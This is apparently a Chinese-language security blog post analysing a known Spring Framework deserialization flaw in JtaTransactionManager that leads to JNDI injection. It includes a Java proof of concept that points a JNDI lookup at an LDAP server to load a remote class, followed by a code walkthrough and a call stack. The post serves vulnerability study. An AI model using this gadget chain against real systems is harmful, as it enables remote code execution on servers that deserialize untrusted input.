Spring framework 反序列化 RCE 漏洞分析

Spring framework 中反序列化 + JNDI Injection 利用分析

文章首发于 SECIN社区:https://sec-in.com/article/922

漏洞概述

相关分析漏洞是一个几年前的漏洞,并非是最近刚出的。之所以分析这个漏洞是因为笔者在梳理 fastjson 历史补丁绕过的时候看到了这个漏洞的相关介绍,比起 fastjson 笔者认为这个漏洞更加简单和直接的揭示了 Java 反序列化和 JNDI 注入的联系

该漏洞存在于spring-tx.jar包的org.springframework.transaction.jta.JtaTransactionManager类,并不是spring最基本的包,默认不使用,只影响包含了spring-tx.jar包的 Spring 框架应用

漏洞利用

POC

import org.springframework.transaction.jta.JtaTransactionManager;
import java.io.*;

public class Demo01 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
JtaTransactionManager myPOC = new JtaTransactionManager();
myPOC.setUserTransactionName("ldap://localhost:1389/#Calc");

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(myPOC);
oos.close();

System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}

漏洞分析

相比于 fastjson 利用链,这个利用链已经极其简单,漏洞的核心是 JtaTransactionManager类,该类实现了Java Transaction API,主要功能是处理分布式的事务管理,此类实现了 Serializable,

org.springframework.transaction.jta.JtaTransactionManager#readObject,这里调用了 initUserTransactionAndTransactionManager 进行一些处理

跟进其发现这里 this.lookupUserTransaction 里面的 this.userTransactionName 是我们可控的,它来自我们 POC 中 setUserTransactionName 的值

image-20210306005354287

跟进 org.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction

上述核心语句为

return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);

先看这里

(UserTransaction)this.getJndiTemplate()

追溯 JndiTemplate 的附值,其来源于最开始的 JtaTransactionManager#readObject

因此会调用其 lookup 类,org.springframework.jndi.JndiTemplate#lookup(java.lang.String, java.lang.Class<T>),可以看出第二个参数在我们 gadget chain 里并没有什么影响

继续跟进 org.springframework.jndi.JndiTemplate#lookup(java.lang.String),这里来到了关键部分

先跟进 execute,这里会创建一个 ctx

跟进其 getContext, 其核心在 org.springframework.jndi.JndiTemplate#createInitialContext,这里初始上下文实现了Context接口,并提供了名称解析的起点

随后由于我们反序列化可控了最开始的 name 参数,导致最后这里 lookup 可控,造成了 JNDI 注入

调用栈

lookup:91, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
doInContext:154, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:178, JndiTemplate (org.springframework.jndi)
lookupUserTransaction:546, JtaTransactionManager (org.springframework.transaction.jta)
initUserTransactionAndTransactionManager:426, JtaTransactionManager (org.springframework.transaction.jta)
readObject:1193, JtaTransactionManager (org.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:18, Demo01 (com.p2hm1n.springdemo)